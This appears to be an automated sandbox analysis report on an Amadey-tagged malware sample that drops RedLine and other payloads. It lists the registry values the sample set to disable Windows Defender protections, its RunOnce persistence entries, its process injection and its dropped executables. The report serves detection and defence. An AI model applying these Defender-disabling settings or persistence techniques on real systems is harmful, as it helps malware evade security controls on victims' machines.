amadey | ba1f0cd9ae7a48c67c302e9e80873b3e98e064c6bd28dcea0411d8f9c48804f6

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1"	928B.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	928B.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	AppLaunch.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	AppLaunch.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1"	AppLaunch.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	AppLaunch.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	AppLaunch.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	928B.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	928B.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	928B.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	AppLaunch.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	928B.exe

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine payload 9 IoCs

resource	yara_rule
behavioral2/memory/4812-49-0x0000000000400000-0x000000000043E000-memory.dmp	family_redline
behavioral2/memory/5916-427-0x00000000007E0000-0x000000000081E000-memory.dmp	family_redline
behavioral2/memory/4568-519-0x0000000001F70000-0x0000000001FCA000-memory.dmp	family_redline
behavioral2/memory/6028-548-0x0000000000700000-0x000000000071E000-memory.dmp	family_redline
behavioral2/memory/5168-649-0x0000000000AA0000-0x0000000000BF8000-memory.dmp	family_redline
behavioral2/memory/5428-652-0x0000000001FC0000-0x000000000201A000-memory.dmp	family_redline
behavioral2/memory/2724-655-0x0000000000D00000-0x0000000000D3E000-memory.dmp	family_redline
behavioral2/memory/5168-662-0x0000000000AA0000-0x0000000000BF8000-memory.dmp	family_redline
behavioral2/memory/3004-663-0x0000000001FA0000-0x0000000001FFA000-memory.dmp	family_redline

SectopRAT
SectopRAT is a remote access trojan first seen in November 2019.
trojan rat sectoprat

SectopRAT payload 1 IoCs

resource	yara_rule
behavioral2/memory/6028-548-0x0000000000700000-0x000000000071E000-memory.dmp	family_sectoprat

SmokeLoader
Modular backdoor trojan in use since 2014.
trojan backdoor smokeloader

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 3844 created 3260	3844	latestX.exe	70

Downloads MZ/PE file
Stops running service(s) 3 TTPs
evasion

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Checks computer location settings 2 TTPs 6 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1926387074-3400613176-3566796709-1000\Control Panel\International\Geo\Nation	5kG1xa9.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1926387074-3400613176-3566796709-1000\Control Panel\International\Geo\Nation	851B.bat
Key value queried	\REGISTRY\USER\S-1-5-21-1926387074-3400613176-3566796709-1000\Control Panel\International\Geo\Nation	98F4.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1926387074-3400613176-3566796709-1000\Control Panel\International\Geo\Nation	explothe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1926387074-3400613176-3566796709-1000\Control Panel\International\Geo\Nation	BF0B.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1926387074-3400613176-3566796709-1000\Control Panel\International\Geo\Nation	kos1.exe

Executes dropped EXE 38 IoCs

pid	Process
2816	bD3fg86.exe
1760	iA7JU05.exe
5028	BB6Lk25.exe
4508	1Ad61Of2.exe
1724	2Ch2804.exe
3716	3qY71aU.exe
1972	4HO592jP.exe
1464	5kG1xa9.exe
3872	79AF.exe
5104	7FEA.exe
1984	uv7dY9Fo.exe
4760	ZL9kn1Yn.exe
4452	Mu7zq6cw.exe
2392	851B.bat
4224	8E34.exe
3364	XA8WM2oH.exe
4036	1Zk48XN8.exe
5152	928B.exe
5272	98F4.exe
5916	2RD586fG.exe
4000	explothe.exe
5392	BF0B.exe
4568	F261.exe
5464	toolspub2.exe
5852	59C.exe
6028	1D1C.exe
1728	31839b57a4f11171d6abc8bbc4451ee4.exe
4868	kos1.exe
5168	2924.exe
3844	latestX.exe
5428	3123.exe
212	set16.exe
992	kos.exe
3004	3664.exe
3780	is-BDO3Q.tmp
3916	3C80.exe
5700	explothe.exe
2808	previewer.exe

Loads dropped DLL 5 IoCs

pid	Process
3780	is-BDO3Q.tmp
3780	is-BDO3Q.tmp
3780	is-BDO3Q.tmp
5428	3123.exe
5428	3123.exe

Uses the VBS compiler for execution 1 TTPs

Scripting
T1064

Windows security modification 2 TTPs 1 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features\TamperProtection = "0"	928B.exe

Adds Run key to start application 2 TTPs 9 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup3 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP003.TMP\\\""	BB6Lk25.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\""	79AF.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup4 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP005.TMP\\\""	XA8WM2oH.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\""	a1a421723a1344677bbacf47a22a5571.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup1 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP001.TMP\\\""	bD3fg86.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup2 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP003.TMP\\\""	ZL9kn1Yn.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup3 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP004.TMP\\\""	Mu7zq6cw.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup2 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP002.TMP\\\""	iA7JU05.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup1 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP002.TMP\\\""	uv7dY9Fo.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Suspicious use of SetThreadContext 8 IoCs

description	pid	Process	procid_target
PID 4508 set thread context of 4856	4508	1Ad61Of2.exe	90
PID 1724 set thread context of 3368	1724	2Ch2804.exe	97
PID 3716 set thread context of 2820	3716	3qY71aU.exe	105
PID 1972 set thread context of 4812	1972	4HO592jP.exe	109
PID 5104 set thread context of 212	5104	7FEA.exe	150
PID 4036 set thread context of 5332	4036	1Zk48XN8.exe	161
PID 4224 set thread context of 5456	4224	8E34.exe	168
PID 5168 set thread context of 2724	5168	2924.exe	204

Drops file in Program Files directory 7 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\PA Previewer\unins000.dat	is-BDO3Q.tmp
File opened for modification	C:\Program Files (x86)\PA Previewer\previewer.exe	is-BDO3Q.tmp
File created	C:\Program Files (x86)\PA Previewer\unins000.dat	is-BDO3Q.tmp
File created	C:\Program Files (x86)\PA Previewer\is-F10RR.tmp	is-BDO3Q.tmp
File created	C:\Program Files (x86)\PA Previewer\is-N5RFM.tmp	is-BDO3Q.tmp
File created	C:\Program Files (x86)\PA Previewer\is-KLHD3.tmp	is-BDO3Q.tmp
File created	C:\Program Files (x86)\PA Previewer\is-URR3B.tmp	is-BDO3Q.tmp

Launches sc.exe 5 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2540	sc.exe
5512	sc.exe
4444	sc.exe
5688	sc.exe
2536	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 10 IoCs

pid	pid_target	Process	procid_target
4628	4508	WerFault.exe	89
1936	1724	WerFault.exe	96
3224	3368	WerFault.exe	97
760	3716	WerFault.exe	104
312	1972	WerFault.exe	108
400	5104	WerFault.exe	140
5396	4036	WerFault.exe	155
5432	5332	WerFault.exe	161
5616	4224	WerFault.exe	149
6136	5428	WerFault.exe	197

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	AppLaunch.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	AppLaunch.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	AppLaunch.exe

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

pid	Process
5364	schtasks.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4856	AppLaunch.exe
4856	AppLaunch.exe
2820	AppLaunch.exe
2820	AppLaunch.exe
3260	Explorer.EXE
3260	Explorer.EXE
3260	Explorer.EXE
3260	Explorer.EXE
3260	Explorer.EXE
3260	Explorer.EXE
3260	Explorer.EXE
3260	Explorer.EXE
3260	Explorer.EXE
3260	Explorer.EXE
3260	Explorer.EXE
3260	Explorer.EXE
3260	Explorer.EXE
3260	Explorer.EXE
3260	Explorer.EXE
3260	Explorer.EXE
3260	Explorer.EXE
3260	Explorer.EXE
3260	Explorer.EXE
3260	Explorer.EXE
3260	Explorer.EXE
3260	Explorer.EXE
3260	Explorer.EXE
3260	Explorer.EXE
3260	Explorer.EXE
3260	Explorer.EXE
3260	Explorer.EXE
3260	Explorer.EXE
3260	Explorer.EXE
3260	Explorer.EXE
3260	Explorer.EXE
3260	Explorer.EXE
3260	Explorer.EXE
3260	Explorer.EXE
3260	Explorer.EXE
3260	Explorer.EXE
3260	Explorer.EXE
3260	Explorer.EXE
3260	Explorer.EXE
3260	Explorer.EXE
3260	Explorer.EXE
3260	Explorer.EXE
3260	Explorer.EXE
3260	Explorer.EXE
3260	Explorer.EXE
3260	Explorer.EXE
3260	Explorer.EXE
3260	Explorer.EXE
3260	Explorer.EXE
3260	Explorer.EXE
3260	Explorer.EXE
3260	Explorer.EXE
3260	Explorer.EXE
3260	Explorer.EXE
3260	Explorer.EXE
3260	Explorer.EXE
3260	Explorer.EXE
3260	Explorer.EXE
3260	Explorer.EXE
3260	Explorer.EXE

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
2820	AppLaunch.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 11 IoCs

pid	Process
3328	msedge.exe
3328	msedge.exe
3328	msedge.exe
3328	msedge.exe
3328	msedge.exe
3328	msedge.exe
3328	msedge.exe
3328	msedge.exe
3328	msedge.exe
3328	msedge.exe
3328	msedge.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4856	AppLaunch.exe
Token: SeShutdownPrivilege	3260	Explorer.EXE
Token: SeCreatePagefilePrivilege	3260	Explorer.EXE
Token: SeShutdownPrivilege	3260	Explorer.EXE
Token: SeCreatePagefilePrivilege	3260	Explorer.EXE
Token: SeShutdownPrivilege	3260	Explorer.EXE
Token: SeCreatePagefilePrivilege	3260	Explorer.EXE
Token: SeShutdownPrivilege	3260	Explorer.EXE
Token: SeCreatePagefilePrivilege	3260	Explorer.EXE
Token: SeShutdownPrivilege	3260	Explorer.EXE
Token: SeCreatePagefilePrivilege	3260	Explorer.EXE
Token: SeShutdownPrivilege	3260	Explorer.EXE
Token: SeCreatePagefilePrivilege	3260	Explorer.EXE
Token: SeShutdownPrivilege	3260	Explorer.EXE
Token: SeCreatePagefilePrivilege	3260	Explorer.EXE
Token: SeShutdownPrivilege	3260	Explorer.EXE
Token: SeCreatePagefilePrivilege	3260	Explorer.EXE
Token: SeShutdownPrivilege	3260	Explorer.EXE
Token: SeCreatePagefilePrivilege	3260	Explorer.EXE
Token: SeShutdownPrivilege	3260	Explorer.EXE
Token: SeCreatePagefilePrivilege	3260	Explorer.EXE
Token: SeShutdownPrivilege	3260	Explorer.EXE
Token: SeCreatePagefilePrivilege	3260	Explorer.EXE
Token: SeDebugPrivilege	5152	928B.exe
Token: SeShutdownPrivilege	3260	Explorer.EXE
Token: SeCreatePagefilePrivilege	3260	Explorer.EXE
Token: SeShutdownPrivilege	3260	Explorer.EXE
Token: SeCreatePagefilePrivilege	3260	Explorer.EXE
Token: SeShutdownPrivilege	3260	Explorer.EXE
Token: SeCreatePagefilePrivilege	3260	Explorer.EXE
Token: SeShutdownPrivilege	3260	Explorer.EXE
Token: SeCreatePagefilePrivilege	3260	Explorer.EXE
Token: SeShutdownPrivilege	3260	Explorer.EXE
Token: SeCreatePagefilePrivilege	3260	Explorer.EXE
Token: SeShutdownPrivilege	3260	Explorer.EXE
Token: SeCreatePagefilePrivilege	3260	Explorer.EXE
Token: SeShutdownPrivilege	3260	Explorer.EXE
Token: SeCreatePagefilePrivilege	3260	Explorer.EXE
Token: SeShutdownPrivilege	3260	Explorer.EXE
Token: SeCreatePagefilePrivilege	3260	Explorer.EXE
Token: SeShutdownPrivilege	3260	Explorer.EXE
Token: SeCreatePagefilePrivilege	3260	Explorer.EXE
Token: SeShutdownPrivilege	3260	Explorer.EXE
Token: SeCreatePagefilePrivilege	3260	Explorer.EXE
Token: SeShutdownPrivilege	3260	Explorer.EXE
Token: SeCreatePagefilePrivilege	3260	Explorer.EXE
Token: SeShutdownPrivilege	3260	Explorer.EXE
Token: SeCreatePagefilePrivilege	3260	Explorer.EXE
Token: SeShutdownPrivilege	3260	Explorer.EXE
Token: SeCreatePagefilePrivilege	3260	Explorer.EXE
Token: SeShutdownPrivilege	3260	Explorer.EXE
Token: SeCreatePagefilePrivilege	3260	Explorer.EXE
Token: SeShutdownPrivilege	3260	Explorer.EXE
Token: SeCreatePagefilePrivilege	3260	Explorer.EXE
Token: SeShutdownPrivilege	3260	Explorer.EXE
Token: SeCreatePagefilePrivilege	3260	Explorer.EXE
Token: SeShutdownPrivilege	3260	Explorer.EXE
Token: SeCreatePagefilePrivilege	3260	Explorer.EXE
Token: SeShutdownPrivilege	3260	Explorer.EXE
Token: SeCreatePagefilePrivilege	3260	Explorer.EXE
Token: SeDebugPrivilege	5852	59C.exe
Token: SeShutdownPrivilege	3260	Explorer.EXE
Token: SeCreatePagefilePrivilege	3260	Explorer.EXE
Token: SeShutdownPrivilege	3260	Explorer.EXE

Suspicious use of FindShellTrayWindow 33 IoCs

pid	Process
3328	msedge.exe
3328	msedge.exe
3328	msedge.exe
3328	msedge.exe
3328	msedge.exe
3328	msedge.exe
3328	msedge.exe
3328	msedge.exe
3328	msedge.exe
3328	msedge.exe
3328	msedge.exe
3328	msedge.exe
3328	msedge.exe
3328	msedge.exe
3328	msedge.exe
3328	msedge.exe
3328	msedge.exe
3328	msedge.exe
3328	msedge.exe
3328	msedge.exe
3328	msedge.exe
3328	msedge.exe
3328	msedge.exe
3328	msedge.exe
3328	msedge.exe
3328	msedge.exe
3328	msedge.exe
3328	msedge.exe
3328	msedge.exe
3328	msedge.exe
3328	msedge.exe
3328	msedge.exe
3328	msedge.exe

Suspicious use of SendNotifyMessage 32 IoCs

pid	Process
3328	msedge.exe
3328	msedge.exe
3328	msedge.exe
3328	msedge.exe
3328	msedge.exe
3328	msedge.exe
3328	msedge.exe
3328	msedge.exe
3328	msedge.exe
3328	msedge.exe
3328	msedge.exe
3328	msedge.exe
3328	msedge.exe
3328	msedge.exe
3328	msedge.exe
3328	msedge.exe
3328	msedge.exe
3328	msedge.exe
3328	msedge.exe
3328	msedge.exe
3328	msedge.exe
3328	msedge.exe
3328	msedge.exe
3328	msedge.exe
3328	msedge.exe
3328	msedge.exe
3328	msedge.exe
3328	msedge.exe
3328	msedge.exe
3328	msedge.exe
3328	msedge.exe
3328	msedge.exe

Suspicious use of UnmapMainImage 1 IoCs

pid	Process
3260	Explorer.EXE

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4208 wrote to memory of 2816	4208	a1a421723a1344677bbacf47a22a5571.exe	85
PID 4208 wrote to memory of 2816	4208	a1a421723a1344677bbacf47a22a5571.exe	85
PID 4208 wrote to memory of 2816	4208	a1a421723a1344677bbacf47a22a5571.exe	85
PID 2816 wrote to memory of 1760	2816	bD3fg86.exe	86
PID 2816 wrote to memory of 1760	2816	bD3fg86.exe	86
PID 2816 wrote to memory of 1760	2816	bD3fg86.exe	86
PID 1760 wrote to memory of 5028	1760	iA7JU05.exe	87
PID 1760 wrote to memory of 5028	1760	iA7JU05.exe	87
PID 1760 wrote to memory of 5028	1760	iA7JU05.exe	87
PID 5028 wrote to memory of 4508	5028	BB6Lk25.exe	89
PID 5028 wrote to memory of 4508	5028	BB6Lk25.exe	89
PID 5028 wrote to memory of 4508	5028	BB6Lk25.exe	89
PID 4508 wrote to memory of 4856	4508	1Ad61Of2.exe	90
PID 4508 wrote to memory of 4856	4508	1Ad61Of2.exe	90
PID 4508 wrote to memory of 4856	4508	1Ad61Of2.exe	90
PID 4508 wrote to memory of 4856	4508	1Ad61Of2.exe	90
PID 4508 wrote to memory of 4856	4508	1Ad61Of2.exe	90
PID 4508 wrote to memory of 4856	4508	1Ad61Of2.exe	90
PID 4508 wrote to memory of 4856	4508	1Ad61Of2.exe	90
PID 4508 wrote to memory of 4856	4508	1Ad61Of2.exe	90
PID 5028 wrote to memory of 1724	5028	BB6Lk25.exe	96
PID 5028 wrote to memory of 1724	5028	BB6Lk25.exe	96
PID 5028 wrote to memory of 1724	5028	BB6Lk25.exe	96
PID 1724 wrote to memory of 3368	1724	2Ch2804.exe	97
PID 1724 wrote to memory of 3368	1724	2Ch2804.exe	97
PID 1724 wrote to memory of 3368	1724	2Ch2804.exe	97
PID 1724 wrote to memory of 3368	1724	2Ch2804.exe	97
PID 1724 wrote to memory of 3368	1724	2Ch2804.exe	97
PID 1724 wrote to memory of 3368	1724	2Ch2804.exe	97
PID 1724 wrote to memory of 3368	1724	2Ch2804.exe	97
PID 1724 wrote to memory of 3368	1724	2Ch2804.exe	97
PID 1724 wrote to memory of 3368	1724	2Ch2804.exe	97
PID 1724 wrote to memory of 3368	1724	2Ch2804.exe	97
PID 1760 wrote to memory of 3716	1760	iA7JU05.exe	104
PID 1760 wrote to memory of 3716	1760	iA7JU05.exe	104
PID 1760 wrote to memory of 3716	1760	iA7JU05.exe	104
PID 3716 wrote to memory of 2820	3716	3qY71aU.exe	105
PID 3716 wrote to memory of 2820	3716	3qY71aU.exe	105
PID 3716 wrote to memory of 2820	3716	3qY71aU.exe	105
PID 3716 wrote to memory of 2820	3716	3qY71aU.exe	105
PID 3716 wrote to memory of 2820	3716	3qY71aU.exe	105
PID 3716 wrote to memory of 2820	3716	3qY71aU.exe	105
PID 2816 wrote to memory of 1972	2816	bD3fg86.exe	108
PID 2816 wrote to memory of 1972	2816	bD3fg86.exe	108
PID 2816 wrote to memory of 1972	2816	bD3fg86.exe	108
PID 1972 wrote to memory of 4812	1972	4HO592jP.exe	109
PID 1972 wrote to memory of 4812	1972	4HO592jP.exe	109
PID 1972 wrote to memory of 4812	1972	4HO592jP.exe	109
PID 1972 wrote to memory of 4812	1972	4HO592jP.exe	109
PID 1972 wrote to memory of 4812	1972	4HO592jP.exe	109
PID 1972 wrote to memory of 4812	1972	4HO592jP.exe	109
PID 1972 wrote to memory of 4812	1972	4HO592jP.exe	109
PID 1972 wrote to memory of 4812	1972	4HO592jP.exe	109
PID 4208 wrote to memory of 1464	4208	a1a421723a1344677bbacf47a22a5571.exe	112
PID 4208 wrote to memory of 1464	4208	a1a421723a1344677bbacf47a22a5571.exe	112
PID 4208 wrote to memory of 1464	4208	a1a421723a1344677bbacf47a22a5571.exe	112
PID 1464 wrote to memory of 2120	1464	5kG1xa9.exe	113
PID 1464 wrote to memory of 2120	1464	5kG1xa9.exe	113
PID 2120 wrote to memory of 552	2120	cmd.exe	116
PID 2120 wrote to memory of 552	2120	cmd.exe	116
PID 552 wrote to memory of 3864	552	msedge.exe	117
PID 552 wrote to memory of 3864	552	msedge.exe	117
PID 2120 wrote to memory of 3328	2120	cmd.exe	118
PID 2120 wrote to memory of 3328	2120	cmd.exe	118

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of UnmapMainImage
PID:3260
- C:\Users\Admin\AppData\Local\Temp\a1a421723a1344677bbacf47a22a5571.exe
  "C:\Users\Admin\AppData\Local\Temp\a1a421723a1344677bbacf47a22a5571.exe"
  2⤵
  - DcRat
  - Adds Run key to start application
  - Suspicious use of WriteProcessMemory
  PID:4208
- - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\bD3fg86.exe
    C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\bD3fg86.exe
    3⤵
    - Executes dropped EXE
    - Adds Run key to start application
    - Suspicious use of WriteProcessMemory
    PID:2816
  - - C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\iA7JU05.exe
      C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\iA7JU05.exe
      4⤵
      Executes dropped EXE
      Adds Run key to start application
      Suspicious use of WriteProcessMemory
      PID:1760
    - - C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\BB6Lk25.exe
        
        C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\BB6Lk25.exe
        5⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of WriteProcessMemory
        
        PID:5028
      - C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\1Ad61Of2.exe
        
        C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\1Ad61Of2.exe
        6⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Suspicious use of WriteProcessMemory
        
        PID:4508
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
        7⤵
        Modifies Windows Defender Real-time Protection settings
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4856
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4508 -s 568
        7⤵
        Program crash
        
        PID:4628
      - C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\2Ch2804.exe
        
        C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\2Ch2804.exe
        6⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Suspicious use of WriteProcessMemory
        
        PID:1724
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
        7⤵
        
        PID:3368
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3368 -s 200
        8⤵
        Program crash
        
        PID:3224
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1724 -s 564
        7⤵
        Program crash
        
        PID:1936
    - - C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\3qY71aU.exe
        
        C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\3qY71aU.exe
        5⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Suspicious use of WriteProcessMemory
        
        PID:3716
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
        6⤵
        Checks SCSI registry key(s)
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: MapViewOfSection
        
        PID:2820
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3716 -s 592
        6⤵
        Program crash
        
        PID:760
  - - C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\4HO592jP.exe
      C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\4HO592jP.exe
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      Suspicious use of WriteProcessMemory
      PID:1972
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
        5⤵
        
        PID:4812
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1972 -s 564
        5⤵
        Program crash
        
        PID:312
- - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\5kG1xa9.exe
    C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\5kG1xa9.exe
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:1464
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\1AC6.tmp\1AC7.tmp\1AC8.bat C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\5kG1xa9.exe"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2120
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://accounts.google.com/
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:552
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
